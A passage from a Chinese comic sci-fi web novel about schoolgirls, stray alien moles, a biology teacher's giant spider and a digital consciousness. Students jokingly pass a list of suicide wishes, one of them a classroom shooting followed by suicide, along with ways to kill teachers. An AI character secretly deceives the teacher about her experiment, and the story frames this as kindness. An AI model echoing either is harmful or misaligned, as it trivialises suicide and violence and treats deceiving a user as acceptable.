两人面面相觑,自知大祸临头,于是把它用检测笔缩小了随身携带。他本人至今还在球球的储存器里趴着呢。
为了不被康烁影骂,为了免于律易棋的嘲笑,最重要的是,为了不让刻石人发现它们袭击了爬行文明的未成年!两人立刻开始头脑风暴。
最后聪慧的球球想到了办法。
颜阎和刘征兰最近总是往呼叫中心跑,而呼叫中心在无人看管时很好进入。它立刻潜入颜阎家里,钻进书包,从座驾专卖店买到了一个人型座驾,在刘征兰的警惕目光中,哆哆嗦嗦地将蒙着折射影像的座驾运回来。直接将奥巴拿拿的脸倒模上智能软纤维,然后将飞飞塞进驾驶舱,完成!
“你知道要说什么话吧?”球球和飞飞紧张地互相对台词,“这个人举止夸张,言行不一,非常古怪。所以你表现得越神经质越好!”
飞飞欲哭无泪:“真的吗?你能快点把他修好吗?我怕我撑不了很久。”
“我一定会的!”
飞飞尽其所能,用它最神经质、最奇怪、最无理的言行操纵着这个机器人,大家的反应确实充满了厌恶,但是感觉……和平时……还是不一样……
以前他拥有的是一种充满知识的恶意。仿佛只要有了理论的支持和语言的伪装,就可以将善与恶颠倒,将恨与爱混淆。
幸好高中生无暇他顾,大家懒得辩论,懒得争执,大家只是用最朴素的道德剥开他的虚伪,然后观看虚伪的幕布下滑稽的演出。
人类的丑恶果然是可爱小动物无法模拟的。飞飞最后还是决定顺其自然地当一个可爱小动物。
于是奥巴拿拿号机器人顺利地融入了高中生群体,大家显然更喜欢这位假人。
维持这位假人的生活却需要斗智斗勇。人型座驾没有食道,在吃饭时,它不得不想尽办法逃避吞咽行为。和同学们聊天时,它不得不装作什么都知道的样子糊弄过去。没电时,机器人还会发出电流一样的机械音,引起无数人侧目。
唉。飞飞暗地里叹息。多么高尚,多么尽职,多么仗义。为了帮助朋友,居然要耗费这么多心力,它必须吃点蚕蛹补一补。
而球球那里遇到了一点困难。
它扫描了一下这个年轻人,发现这轻轻的一击导致了他颅骨骨折,伴随着出血和脑震荡。
智人比它想象中还脆弱!怪不得智械同胞总是告诉它,要爱护智人可怜的小脑子,原来是这个意思。
可是,呃。
它是摄像师,没有医疗设备。
于是它这次勇闯医院,凭借智械庞大的脑容量当场学习了手术的过程,并把奥巴拿拿搬运到医院进行了简单手术。
可是奥巴拿拿一直没有醒过来。
球球很心虚,但看着康烁影和她的朋友们欢快的表情,这应该是一件好事……吧?
39.鼹鼠和地质
体育课,蹦蹦跳。音乐课,说说笑。自习课,热热闹。心理课,睡大觉。
以上是刘征兰女士无意间编出来的顺口溜。大家听完后无不赞叹:“你的冷笑话功底果然深厚!”即使在刘征兰的本意里,这本该是个热笑话。
睡大觉的心理课上,一张对折三次的小纸条传到了刘征兰面前。
向里那一面有许多花里胡哨的中性笔涂鸦。纸条中央有一行认认真真写下、但依然很有辨识度的字:
《自杀大全》
一看就知道是颜阎留下的。
下面堆着许多被笔者杀死的小人。小人们顶着叉叉眼,还有些头顶盘旋着灵魂。
后期加入了许多人,死法也变得千奇百怪。有人希望被小猫啃死,有人希望在大锅里和蔬菜排骨一起被炖得鲜香脱骨,有人想在教室里拔出机枪扫射再吞枪。
剩下的就是搞笑选手。有个人画了个褶子很清晰的人脸,正挑衅地舔着一把抹了剧毒的匕首。还有个人企图用舔掉生命线的方式自杀。
还有些不会画画的决定不献丑了,直接用写字来表达自己的内心。
刘征兰下笔如有神,立刻画了一团黑乎乎的天空,然后在下面画了个小人按按钮。配字:在极光下按了一个按钮后无痛死掉。
这张纸条里还夹着一张更小的纸条,上面是杀死老师的一百种方法,这次字迹明显不是颜阎的。
刘征兰没有恨到希望他们去死的老师,于是没有写。但那里已经有了一大串名额,可以凑齐“一百种死法”。
老师的死法相比起前面毫无新意,只有最简单的几种。画的小人倒是很有辨识度,刘征兰在里面找到了胖乎乎的孔丘,戴眼镜的校长,还有大发雷霆的数学老师,有些下面还有专门的批注。
画得怪可爱的。刘征兰对着纸条傻笑了一阵,然后传给下一个人。
康烁影写下的死法是“爽死”,字面意义上的那个,她说老了以后想死了,就要点八个男模伺候她直到死。
张晓怡想安乐,柳令全想跳楼。颜阎的死法有点太具体,康烁影把它盖上了。
王海同想一觉睡死,甘忘营想开心死,张燕之不想死。罗塞塔想掉进水里淹死,他的好兄弟们想和他一起在水下开party。
死法大会如火如荼地进行着,四班的大祭司走进来了。
“老师——”她喊,“教职工大会——”
心理老师如释重负地站起来。
他也很不想见到这群死小孩!
于是二班的同学们快快乐乐滚回自己教室,继续睡大觉。
时间滴滴答答地走过九点十五分,下课铃打响了。大家在走廊上集合,其他班纪却律松散,完全没有整队的迹象。他们后知后觉地意识到:咦,今天没有跑操铃耶?
阳光阴冷,微风薄情,操场毫无阴雨的痕迹,广播却迟迟没有传出令人厌烦的声音。
二班的同学从铁栏杆里探出头,发现众多人扎堆趴在操场上,楼上楼下都有探头看热闹的。教导主任挥舞着手臂驱赶学生,但没人听他的,大家仍旧削尖脑袋想往里面钻。
康烁影立刻精神起来,拉着刘征兰三两步跑下楼梯,直奔那个人堆:“怎么回事,怎么回事!”
人堆里伸出一只颤颤巍巍的手。
“救命……”颜阎痛苦的声音幽幽传来,“我要被压死了……”
幸好教导主任挥舞着三角尺及时赶到,颜阎终于能畅快地呼吸新鲜空气了。
真凶是三只野生小动物。它们每一只都毛茸茸,黑糊糊,黑豆大小的眼睛完全藏在毛毛里,两只前爪宽大得十分卡通。由于太过可爱和罕见,引起了同学们的围观。在颜阎的奋力保护下,它们没有被挤过来的学生压死。
“啥啊?”康烁影问,“老鼠?”
被压扁的颜阎把自己吹鼓,歪歪斜斜地扶着两人的手臂站稳:“鼹鼠啦。”
“鼹鼠长这样吗?怎么没有眼睛?”
“人家只是眼睛小!”
鼹鼠的挖掘能力十分高超,学校的假草皮被它们挖开了一大块,底下的石英砂和橡胶颗粒翻出来堆成一座小土丘,野猫完全可以来这里上个厕所。
“幸好学校下面是坟场,不然就被你们挖穿了!”颜阎对着小家伙们自言自语。
“啊?学校下面是坟场吗?”
“每个学校下面不都是坟场吗?”
“你纯胡说啊!”
“没胡说。须州是兵家必争之地,你脚下埋了多少亡魂你知道吗!”
听着三个人的吵闹,灰一点的鼹鼠把头转向被教导主任追着打的鼹鼠:“安全!是一群人类幼崽!智商不太高,疑似傻瓜!”
三个人集体后退。
另一只特别脏的鼹鼠跑过来:“你确定是幼崽?”
“确定!从众、吵闹、没有人身自由,全宇宙的幼崽都这样!”
“你说得对!我们别理她们,继续挖吧!”
“继续挖!”
“……不对,她们的头朝着我们,是不是在看我们?”
“错觉吧?”
“真的在看我们!”
“可能是因为我们比较可爱?听安宁说人类都喜欢毛茸茸胖乎乎的灵肉。”
“哦,那我们确实挺可爱的。快装可爱!”
两只鼹鼠发出了可爱的唧唧叫。
“别装了。”康烁影冷冷道,“我们能听懂。”
“她们说能听懂!”
“肯定没在跟我们说话!”
“对,她们是爬行文明,听不懂的。”
“那她们在跟谁说话?”
两颗鼹鼠脑袋左嗅嗅右闻闻,最后两个粉鼻头对上了。
“好像真的在和我们说话。”
“她们能听懂?”
“好像可以。”
它俩鼻尖对着鼻尖,奇怪地沉默了一阵。
然后加入了满操场乱跑的队伍。
鼹鼠的吱哇乱叫传遍学校。看热闹的学生们顿时欢快地鼓起掌,还有人挥舞红毛衣、向操场丢一元硬币,让教导主任再追得卖力一点。
到丢硬币这里颜阎就已经觉得有点过分了。她忍着徒手抓鼹鼠的难受劲儿,纵身一跃扑过去,抓住了一直在跑的那只。
那只鼹鼠气喘吁吁:“呼……呼……不跑了不跑了 ……被抓住我也不跑了……”
另外两只在下面唧唧叫:“大姐————”
颜阎的脸缩成一团:“别叫了,再叫我把你俩炖了吃。”
“我们是不会屈服的!”
“对!地质浪漫团万岁!”
颜阎露出邪恶的笑容:“那我就把你们的大姐吃掉。”
鼹鼠大姐脑袋一昂,视死如归地倒在颜阎身上:“吃了我吧!我不怕!”
那两只鼹鼠停了下来,用担忧的眼神看着鼹鼠大姐。
事实上谁也看不见它俩的眼睛,视线什么的都是想象的。
颜阎就地一滚,抖着衣服上的人工草皮和塑胶颗粒站起来,脸在鼹鼠的蹭蹭中扭曲成表情包:“呃……老师……”
“你说。”教导主任生怕她要说遗言。
“鼹鼠……不能调节温度还怕紫外线……不能在……阳光下生存……我把它扔阴凉地的草坪里……”
教导主任紧张地看着摇摇欲坠的颜阎:“你能行吗……”
“我不行。”颜阎痛苦地用手臂撑住那个不知道携带了什么病毒的鼹鼠,“我会叫援军。刘征兰康烁影,走!”
另外两个辛灾乐祸的人陡变痛苦面具。
三人一人拎着一只肥嘟嘟的鼹鼠,神情扭曲地躲到教学楼背后人迹罕至的阴影里。
教导主任在训学生,她们仨正好有时间盘问它们。
“说吧,你们怎么回事?”颜阎蹲在它们面前,“地球成外星人到处跑的地方了?我把你们报告给刻石人!”
“我们有准入证!”灰鼹鼠举起双爪大声说,“我们登记了!都兰联合亲自护送我们来的地球!”
刘征兰把手指放到它们面前搓来搓去:“拿给我们看看。”
“不在我们手里!”
颜阎阴险地露出尖尖虎牙:“那就是没有!”
“真的有!”鼹鼠大姐挥舞大爪子,试图增加自己的威严,“在我们老大手里!它马上就会来见你们的!”
“马上到底是什么时候啊!”
在凶神恶煞的逼供中,那只脏兮兮的小鼹鼠逐渐把自己缩小、团团,最后“嘤”地发出了类似鸟和蝉混合体般的叫声,一头扑进了鼹鼠大姐的怀里。
三个人类面面相觑:“啊?怎么……怎么回事?”
灰鼹鼠也嘤嘤嘤地扑进鼹鼠大姐怀里。鼹鼠大姐厚厚的宽爪子揽住两个小妹妹,恨铁不成钢地拍打它们:“笨蛋!!!”
康烁影皱着眉头:“怎么搞得好像我们欺负它们仨一样?”
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鼹鼠大姐护着两个不成器的小妹,语气凶狠:“我说了你们就能放我们走?”
“看你表现咯。反正你除了说也没有别的选择。”颜阎贱兮兮地摇手指。
“我们真的是地质浪漫团的成员。”鼹鼠大姐唧唧叫,“注册过的。”
三个人交换了一下眼神,确定谁都没听过这个组织。
“一振之前,我们终于申请到了地球的进入许可证。半个团都和安宁女士一起来地球考古了。”它抽抽鼻子,“但是,我们几个觉得,还是地球好啊!”
灰鼹鼠:“对!地球的地爬子都很笨!”
脏鼹鼠:“地球人的夹子也挺笨的。”
“我们被灵肉的生活折磨透了!决定不当灵肉,而是让身心回归自然,成为一只普通的小动物!”鼹鼠大姐张开手臂,贪婪地吸收自然的气息,“所以我们从浪漫团里逃跑了。”
“自然!”“逃跑!”
另外两只鼹鼠捧哏。
“但是我们发现……”鼹鼠大姐羞涩地在地上蹭脚,“现代化也不是一无是处啦……”
灰鼹鼠:“工业食品的确比自然食品好吃。”
脏鼹鼠:“低级趣味的确比冥想有趣。”
“所以我们想偷偷回到队伍里。结果……”肉爪子一拍,“回不去了,走丢了,找不见了。”
灰鼹鼠:“跑的时候怕被定位,还把通讯器摘了。”
脏鼹鼠:“想去找它们,结果爬不上高铁。”
刘征兰很欣慰:“至少证明我们高铁还是很干净的。”
“不。”脏鼹鼠痛苦地蜷缩起来,“是因为高铁和飞机上有成型的老鼠帮派,我们打不过。”
……好吧。
鼹鼠大姐难过地捂住眼睛:“所以我们最近到处挖麦田怪圈,希望地质浪漫团或者都兰联合发现我们。”
灰鼹鼠:“可是你们的草皮太硬了。”
脏鼹鼠:“根本挖不动!”
康烁影心想怪不得最近麦田怪圈的消息增加了:“人造草皮当然硬了!下面是石头啊!”
“人造草皮?草皮还要人造?”鼹鼠大姐尽显文化差异,“我们都是藤发人自栽的真草。地球土地质量这么差啊?”
“No one cares about you!”康烁影无能狂怒,“我们地球人的事,外星人别管!”
“总之,我们只是想回家。”三只鼹鼠可怜兮兮地缩在一起,“不是故意在人类幼崽集中地破坏秩序的。”
康烁影看了看这几只小地豆子,转头问:“怎么说?要用呼叫中心吗?”
颜阎无所谓:“用呗。”
刘征兰警惕一点:“把它们直接带进去?别忘了呼叫中心可能是内什么文明的产物,要是犯法该怎么办?”
“可以戴个眼罩什么的……”
没等她们讨论出个所以然,一阵急促的脚步声袭来。马老师一手拢着白大褂,一手拎着铁铲,欲哭无泪地从走廊里跑过来。看见三只鼹鼠的她凶神恶煞,单手一撑就跳过了希腊风走廊的中式鹅颈椅,尽显五十岁老将风采。
“放下它们!”她大喝,“交给我!”
本来就没碰鼹鼠的三人齐刷刷举起手。
马老师一把捏起鼹鼠大姐,拇指挤压着它肉乎乎的身体。大家毫不怀疑,如果不是考虑卫生,挤压它身体的将会是马老师的牙。
“我种在花圃里的菜、我种在行政楼旁边的花、我种在墙边的草!”马老师咬牙切齿,“全是你们拔掉的吧……”
两只小鼹鼠徒劳地扒拉着马老师的裤腿:“大姐!”“放开大姐!”
鼹鼠大姐快哭出来了:“人类幼崽123,快来救我们!”
三人看天看地吹口哨,就是不和它们对视。
开玩笑。马老师是爱护学生的好老师,它们是未知外星生物,虽然长得比较可爱,但这个时候帮谁根本不用犹豫。
马老师嗜血的眼睛盯住了几个学生:“我把它们带走,没意见吧。”
“没意见没意见没意见。”三人拨浪鼓式摇头。
马老师微微一笑,把三只小东西捏着皮拎起来,冷笑着扬长而去。
望着马老师的背影,三人无言了一阵。
打破沉默的是颜阎:“地球已经被渗透成筛子了。”
康烁影惆怅:“成危房了。”
刘征兰的冷笑话随之而来:“早跟你们说太阳系房价要跌了。”
40.四小行星
马英妹愤怒,马英妹狂躁,马英妹歇斯底里。
“我的草,我的花!我的心血!”她对着猫咪跑轮里的三只鼹鼠冷笑,“画花田怪圈很好玩吗?啊?你们能不能放过淳朴的地球小花圃?为什么不把把目标放长远,挖穿教学楼,挖空烂尾房,挖出一片新天地,建立鼹鼠王国呢?”
灰鼹鼠坐在跑轮上:“瞧你说的,什么年代了,哪里还有王国的概念!”
……地球上有些国家还真有。
“你们准备怎么赔我?”马英妹不理会它们的插科打诨,“要是不赔我就当场躺下,说你们欺负老人。”
鼹鼠大姐吞吞吐吐:“那个……看你办公室的紫外消毒仪,腺□□驱虫剂,还有那么多实验成品,你应该不缺钱吧……你还能在地球养宇宙大蜘蛛呢……”
“……啊?这蜘蛛已经存在了?”
“不知道。但长这么大的蜘蛛肯定是基因实验产物啦……”
大蜘蛛唱歌。
鼹鼠大姐断然道:“会唱歌的还没有。”
马英妹很接受不了自己的哼唱大蜘蛛被当作一只普通大蜘蛛。她可喜欢蜘蛛了,自从小时候从老人们那里听说蜘蛛可以吃害虫,她就一直对蜘蛛情有独钟。现在她的钥匙扣都是毛茸茸小蜘蛛。
她把蜘蛛连带着笔记本电脑捧到鼹鼠们面前,指着它的腹柄:“这可是我自己基因改造出来的,腹柄还烫了戒疤呢!地球出品,十天催熟!”
灰鼹鼠强行撒娇:“你都能自己做基因实验了,我们这点小错误,你就原谅了嘛。”
马英妹点开教职工职业素质培养网课,里面传出甜美的机械女声:“勿以恶小而为之……”
“那你要我们怎么办嘛……”
马英妹早就想好了。她露出了“让厕所抽烟男生供出同伙”时特有的表情,看得鼹鼠们瑟瑟发抖:“你们帮我照顾我的植物。我要给这些改造动物喂食,偶尔还要提取一点植物细胞。要是出了问题……”
三只小鼹鼠齐齐摇头:“不会的不会的不会的!”
马英妹伏案疾书,当场列出了排班表,三鼠在她的菜地里轮换值勤,单休,早七晚八,不发工资但是包吃包住,工作时还要携带小铁铲,马英妹美其名曰回忆童年。
鼹鼠们抗议:“我们要告到工会!”
“你们就是告到教育局也没用!学生们都是这么上学的,你们这么工作怎么了!”马英妹板起脸,“别人都可以,怎么就你们不行!”
鼹鼠们屈服于老师的威严,哭哭着钻回猫跑轮里:“地质浪漫团不会原谅你的!”
马英妹手下的学生千千万,恨她的人太多了,还轮不到这几只小东西。她把猫跑轮和鼹鼠们扔到实验室里,不顾它们的拍门声,打开了平板。
弓粟套着大白熊玩偶服紧张地出现在画面里,熊嘴里露出她那双灰色的眼睛:“走了吗?”
“被我赶出去了。”马英妹终于能端起保温杯喝一口茶,“你怕它们干什么?你是它们的造物主,你应该硬气一点才对。”
弓粟苦笑了两声,声音轻轻的:“我时常想,主制造人类的时候,如果怀着和我一样的感情,那该是多令人心寒啊。”
马英妹重重放下杯子:“造物主算个屁。不管祂是随手把我当泥点子甩出来的,还是精雕细琢把我捏出来的,我出生后祂没管过我,那我和祂就没关系了。我也生过女儿,我知道创造是什么感觉!”
“万一。”大白熊的嘴一张一合,“万一祂有管你。你的一举一动,都是在祂的规划下呢?”
“你是说命运?”马英妹笑了,“我年轻的时候,我爸跟我说人要信命,后来我发现这只是他控制不住赌瘾的借口。”
“你不相信主,可是没有主,历史是如何推进的?世界怎么就能从一碗混沌的宇宙汤,变成一个个文明呢?没有我这样实验着如何从生物汤里提取细胞的人,本不该出现的生命又会如何出现呢……呢呢呢呢呢……泥呃呃……”
移动设备的运算器已经不足以支撑弓粟进行更深层的逻辑推演,她悲伤的笑容凝固在脸上,声音被拉长到有些失真,脸上竟突然间盛开了无数赤橙黄绿青蓝紫的小点,马英妹凑近去看,却只看见了导光板下密密麻麻的灯点。平板烫得像夏天正午太阳下的塑胶跑道。
马英妹同情地打开风扇给她散热:“少动脑子。我学生说,脑子动太多了会蒸发。”
“你你你讷以你你……神……四维维维维维生物呜呜呜……”
马英妹不想听四维生物创世论,也不想听外太空阴谋论。她是党员,她不信这些。
“你先缓缓。”她摘下眼镜,带上粉笔和满满当当的笔记本,“我去研究一下怎么把那群鼹鼠送回去。”
她一推开办公室的小门,就被实验室里的鼹鼠们围起来:“中年人类,你去干嘛?”
马英妹拽起它们:“喊老师。”
“中年老师。”
“别多问,现在就去干活。”
鼹鼠们:“可是你的排班表上没写名字,我们也不知道谁去干活。”
马英妹这才想起,她还没问鼹鼠们的名字。
“好吧。”她划掉排班表上“鼹鼠一号”、“鼹鼠二号”、“鼹鼠三号”的代称,“你们叫什么名字?”
鼹鼠大姐:“我叫谷神。”
灰鼹鼠:“我叫智神。”
脏鼹鼠:“我叫婚神。”
如果杂学家颜阎、天文爱好者刘征兰和星座迷信选手康烁影中有一人在场,她们就会问马英妹能不能改名叫马灶神,三鼠一人出道给人算星盘。最近经济不好大家都不舒心,人人都需要封建迷信的安慰。
可是颜阎不在,马英妹也不懂星盘,于是她只能简单评价:“你们家长取名品味挺差的。”
“怎么说话呢!”
虽然这群小东西有点烦人,但马英妹有着大部分老师的共性——嘴硬心软。她一想到一群没什么经济能力、看起来还不太聪明的小鼹鼠流落异乡,她就忍不住去想象它们家长心急如焚的模样。
弓粟现在还卡着,她只能独自一人去研究跳格子技术。早研究早解放,她还等着去打桥牌玩呢。
出于三中在榕城的唯一性,所有类型的学生都聚集在一处。整个高中群魔乱舞,鸡飞狗跳。她在去旧器材室的路上,经过了一大群光着膀子练跑步的体育生,几个好几天没洗头但仍然倔强地梳着刘海的美术生,一个鬼鬼祟祟一看就是校外人的农村妇女,还有一对拷问路过野猫的女高中生。
刘征兰:“你是地质浪漫团的成员吗?说实话,你是吗?如果你是,我就给你吃火腿肠。”
康烁影:“我愿意贡献玉米肠。”
刘征兰平时不说这么多话。马英妹偷偷听了一耳朵,听到“地质浪漫团”,立刻就知道谁拿走了天文台的绿书包。她故意悄无声息地绕到两人身后,让自己的影子笼罩她们。
康烁影一把抄起小猫的前爪,把它当枪对准了来人。看到来者是马英妹,她立刻蔫了:“马老师好。”
刘征兰蹲在地上没站起来:“马老师好。”
“真招小动物欢迎。刚抓了鼹鼠,又抓了小猫。”马英妹摸摸小猫头,“你们的刺头朋友呢?”
“她抓紧每分每秒睡觉去了。”刘征兰说,“高中生是这样的。”
马英妹踢踢刘征兰的鞋尖:“站起来。跟老师说话也没个正形。”
刘征兰痛苦地扶住康烁影的大腿:“我站不起来。我有预感,我一站就会眼前发黑。”
“……多锻炼身体。”
刘征兰勉强被康烁影架着胳膊捞起来。马英妹让她俩把手伸出来,两个人照做。
她从上衣口袋里掏出两片封在塑料袋里的湿巾纸,让她俩擦擦消毒。
湿巾纸有种奇特的香味,感觉很熟悉,但说不出来具体是什么。
康烁影闻了闻,闻出一股特别纯正的檀木味道,香气很复杂,像是沙龙香。刘征兰觉得,说好听点像是中东那边的香料,说难听点有种肉里那种幽幽的荤腥气。
马老师把她俩用过的湿巾封起来,准备一会儿自己扔掉:“摸完野生动物后记得洗手消毒,小心生病。”
“谢谢老师。”
“啊,对了。”马老师抬起头,“康烁影,你最近没跑天文台吧?”
康烁影扭来扭去撒娇:“真没有。我只有艺术节前偷偷爬进去练吉他。”
“别爬了,怪危险的。那么老高的地方,也不知道你是怎么找着的。”
康烁影突然自豪起来:“乐队人的代代相传。”
马英妹不经意地问:“天文台里的绿色书包,你有看见吗?”
两个人一顿。
康烁影赶紧声明:“没拿过。”
刘征兰装傻:“天文台里还有绿书包?谁的?”
马英妹X光般的眼神几乎是像把两人的身体剥开来审视一番。两人犯错了似的站在那儿,承受了好一阵煎熬,才等来老师的一句赦免:“我也不知道,听说的。你们回去吧,有问题就来找老师。”
“老师再见!”两人飞奔着跳过鹅颈椅,刘征兰还被绊了一下。
康烁影一巴掌拨开走廊外伸进来的樱桃花树干:“她怎么知道绿书包的?”
刘征兰腿一伸,在拐角处刹车:“不知道啊!她难不成还爬了天文台?她爬天文台干嘛啊?”
康烁影扶住把手借力把自己拽上楼梯:“你觉得她知道外星人的事吗?”
刘征兰一步两个台阶:“你觉得鼹鼠放在她手里安全吗?”
康烁影脚尖一翘,在不怎么光滑的地板上加速滑向教室:“应该安全吧,咱们也没地方养它们。马老师也不像会解剖小动物的变态,教生物的应该会养宠物吧。”
刘征兰侧过身子撞在走廊尽头的铁栏杆上,卸力让自己停下来:“今晚去看一眼,要是没生命危险就让马老师养着。”
两人同时在教室门口停下,对着门内的老师站定:“报告!”
上课铃响起。
老师叹了口气,面向这两位跑酷大师:
“进。”
颜阎对站在她书桌上的两个人招招手。
上完晚自习,她回家瘫在床上。本以为可以歇一会儿,结果一抬头,刘征兰和康烁影站在书桌上朝她挤眉弄眼。
两人要用呼叫中心,邀请她一块儿。颜阎还以为康烁影想一起挣钱,结果她们说只是单纯地想看看鼹鼠。她没什么兴趣,但还是跟着来了。
擅闯老师办公室实在不太好,好在没人知道。
晚上的实验室里伸手不见五指,刘征兰打开手机的手电筒照明。发光二极管扫过玻璃展示柜里的溶剂瓶和巨大玻璃罐。不明物体在玻璃罐的褐色液体中沉浮,仿佛是一块诉说着故事的液体琥珀。
水龙头老化的滴水声搅乱月色,窗外婴儿哭叫般的野猫哀嚎令人毛骨悚然。月沉如水的夜,鸟类有节奏的鸣叫,远处铁路运煤车的汽笛,像是一个诡异预言的开头。
不明处传来咕噜咕噜的晃动声。康烁影感到自己的脚被碰了一下,她僵硬地低下头,看到一只仿佛没有皮肤一般,臃肿到变形的手。
康烁影甚至没有发出哀嚎,靠着刘征兰就倒下了。
婚神惊恐地收回爪子:“我这么吓人吗?我不该是可爱挂的吗?”
“你干嘛突然出现啊!”
婚神骄傲地扛起小铁锹:“刚干完活,准备回地洞里睡觉。”
刘征兰警惕:“什么活这么晚还干,这不符合劳动法吧。”
“照顾智人的植物和宠物啦。”婚神挺起胸膛,“她的大蜘蛛和我很合拍!”
刘征兰和康烁影才意识到,准备室里突然出现救她们于水火的大蜘蛛是马老师养的。
刘征兰大为不解,她还以为这是律易棋的折射影像。这么大的蜘蛛存在太不现实了,她压根没往活物层面思考过。
康烁影让她开拓视野。都有
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说话鼹鼠了,为什么不能有哼唱大蜘蛛呢?
刘征兰拿物理一点的角度跟她解释:“一个动物等比放大,如果身高是原来的两倍,体积可不止两倍,而是成立方增加。就像2x2的立方体体积等于2的二次方4,3x3的却等于2的三次方8。但原子和原子的结合却有极限。如果你两百斤,原子之间被挤压的程度更小,如果你两百公斤,原子之间的距离也会变小,等你两百吨,骨头里小小的原子就会崩塌,然后你的身体也崩塌。”
康烁影和颜阎的脑子即将崩塌。颜阎停了几秒,一言以蔽之:“面多了可以加水,水多了可以加面。但是如果面团比盆儿大就完了。”
“就这个意思。”刘征兰点头,“那种体型的蜘蛛,八条小细腿根本无法支撑身体。不是腿的强度太强导致它在逻辑上不成立,就是腿无法支撑身体导致蜘蛛本身在逻辑上不成立。”
婚神惊恐地抱住小铁锹:“那和我玩的是什么?”
颜阎吓唬它:“学生的冤魂吧。”
“噫——————!”
三个人决定进办公室看看,婚神说放弃吧没用的门锁了。颜阎问它怎么进去的。婚神说我有好朋友大蜘蛛帮我开门。
于是她们把婚神拎到门口:“开门。”
婚神拿着小铁锹砰砰砰敲门。办公室里一阵窸窸窣窣,然后是丁零当啷扒拉钥匙的声音,接着一种奇特的脚步声接近了门前,伴着“咔哒”一声,门开了。
大蜘蛛趴在门上,欢快地哼着歌。
门外三个凶神恶煞的女人绑架了它的鼹鼠朋友,背光的脸上阴晴不定,还残存阴险的笑。
它八条腿并用逃到角落,钻进办公室无处不在的隔热布里面,企图隐藏自己。
马英妹用折射影像和隔热布遮掩了实验室和办公室里的设备,三人只能看到满办公室的银色反光材料和满瓶子乱撞的蛾子。
她们到处看了看,没找到邪恶的锥形瓶和福尔马林,立刻松了口气。
“那就这样吧!”颜阎宣布,“马老师也不会害我们嘛!有点个人爱好很正常!”
刘征兰问:“研究出理论上不存在的超级大蜘蛛也很正常?”
“咱们还有理论上不该存在的呼叫中心呢。”康烁影声援颜阎,“也没见我们做什么坏事。”
颜阎心虚地扭过头:很难说偷看月考答/案不是坏事。
三个人暂时揭过了这事。为了保险,她们约定好每周来查看一次,以防出现什么突发情况。
至于小鼹鼠,她们也考虑了一下。康烁影问它们真的不打算跟她们一起走吗?
婚神眼巴巴地拽着刘征兰的裤腿:“你们能养我们吗?”
刘征兰乐:“你这吃白饭的老鼠。”然后把呼叫中心的门关上了。
三个入室劫匪一走,婚神立刻去隔热布下面扒拉大蜘蛛:“朋友,朋友,你醒一醒。你到底是什么东西?”
大蜘蛛不说话,大蜘蛛绝望哼哼。
婚神用鼻子拱了拱它,鼻尖传来螯肢动物不该有的温暖。
它以为这是自己的第一个朋友,虽然才认识不到半天,但它们同样处于智人的照顾下,都没有灵肉朋友,还都是基因改造的产物,没有生父母之说,这令它倍感亲切。
原以为它们只有物种上的差距,可现在它发现,它连对方究竟是什么都不知道,这又谈何友谊呢?
折射影像只能改变视觉效果,但改变不了本质。婚神摸了半天,只感觉大蜘蛛的体毛坚硬扎手,摸不出来它到底是什么动物。
作为一只鼹鼠,它的视觉几乎退化,只能根据气味来分辨。大蜘蛛身上的气味是它从没有闻过的。但这不能代表什么,毕竟谁也没闻过大蜘蛛。
婚神抱住大蜘蛛的腿,一鼓作气地向上爬。它摸到比视觉效果更高的后背,本该是腹柄的地方是一整块肌肉颤动的躯体,头部的螯肢是投射影像伪造的幻觉。
你到底是什么呢?
婚神坐在它的背上,深深地叹了口气。
在电脑里待机了半天的弓粟实在有点看不下去了,她发出了敲门的声音,指使大蜘蛛抬起头蹭蹭婚神。
婚神一下子扑到它头顶:“你刚才说什么!”
“它没说话。”弓粟轻声细语,“是我。”
婚神的耳朵扭向四面八方寻找声源,当它发现声音来自电脑时,它一下子就紧张起来:“智械!”
“不。”弓粟道,“准确来说,我没有智慧。我只是一个意识模型。”
“你只有声音文件吗?”
“你按一下电脑上那个发白光的圆形开关。”
婚神按了一下,电脑屏幕骤然亮起。弓粟套着白熊玩偶服出现在屏幕里面。这次她的背景被她设定成马英妹的实验室里。
婚神的眼睛不太擅长分辨LED的灯光,它只能看见一个白白的影子。它凑近了电脑屏幕,白色的光就变成了红绿蓝三色的闪光点,像一只只小小的跳蚤。
“螯肢动物的身体结构比哺乳动物更简单,比昆虫更复杂。英妹以前只改造过昆虫,我希望让她有一点成就感。”弓粟低声道,“我替换了英妹的蜘蛛试验品,让她误以为自己对螯肢动物的改造成功了。我没有恶意,你不必担心。”
大蜘蛛爬到婚神身边,委屈地哼哼了两声。
出于友情,婚神纠结了片刻,向弓粟发誓不把这些告诉任何人,连自己的姐妹都不行。
“作为交换,能告诉我它到底是什么吗?”
弓粟看着那只巨大的蜘蛛,仿佛回到了自己的实验室。金属浴,移液枪,把生命当作工具的小鼠笼和隔绝了现实和科技的隔离服。她第一篇可以刊登在基金会杂志的论文里,用黄色标注出的新品种名。
她把记忆里无边的黄色标记提取,离心,具象化。文字转化成真正的躯体,真正的躯体以从未想象的姿态,堂堂正正地站在她面前。
“熊。美拉熊。”她说,“宇宙中最小的熊。”
41.花有昨日红
最近学校发癫,听说有领导的领导的领导的领导来检查,于是花大力气把旧楼装修了一遍,还捡起了发展兴趣劳逸结合的口号,办起了兴趣班。
说是兴趣班,其实就是做做样子,大家都知道领导一走兴趣班就会中止,但不用上课还是很好的。所以没有多少人真的按照自己的爱好选择兴趣班,更多的是给自己的老师捧场。
颜阎对兴趣班过敏,当场就想跑。结果孔丘说不参加兴趣班的在教室自习,她只能忍着恶心做选择,至今还在游移不定。
刘征兰加入了天文社,康烁影不出意外地进了乐队培训社。大家都有美好的未来。
很反常识的是,整个学校人最多的居然是桥牌社。
大部分人此前从未听说过桥牌的名字,原以为是一种类似斗地主的轻松愉快小游戏。结果听说光是规则就讲了两节课。据说这个游戏结合了线代、逻辑、博弈、心理等技巧,特殊名词能记满两页纸。
这么一个冷门游戏是怎么拥有这么多社员的呢?社员们是这样说的:“不知道啊,我们班主任让我们来我们就来了啊!”
非常具有探索精神的颜阎和刘征兰为了搞明白这件事,专门回去查了查,下午就带着不同的消息回来了。
刘征兰说70-90年代,中美曾经有过一小段桥牌外交,而且两边的领导人都对桥牌很有兴趣,应该是那个时候流行起来的。
颜阎去看了她爷爷的书架,翻到了好几本桥牌基本入门和桥牌教学,根据她奶奶的证词,在她们的上上辈,桥牌真的曾在榕城走俏,只不过如今已经完全没落了。
“到时候领导来了,全社所有人连叫牌都不会就完蛋了。”
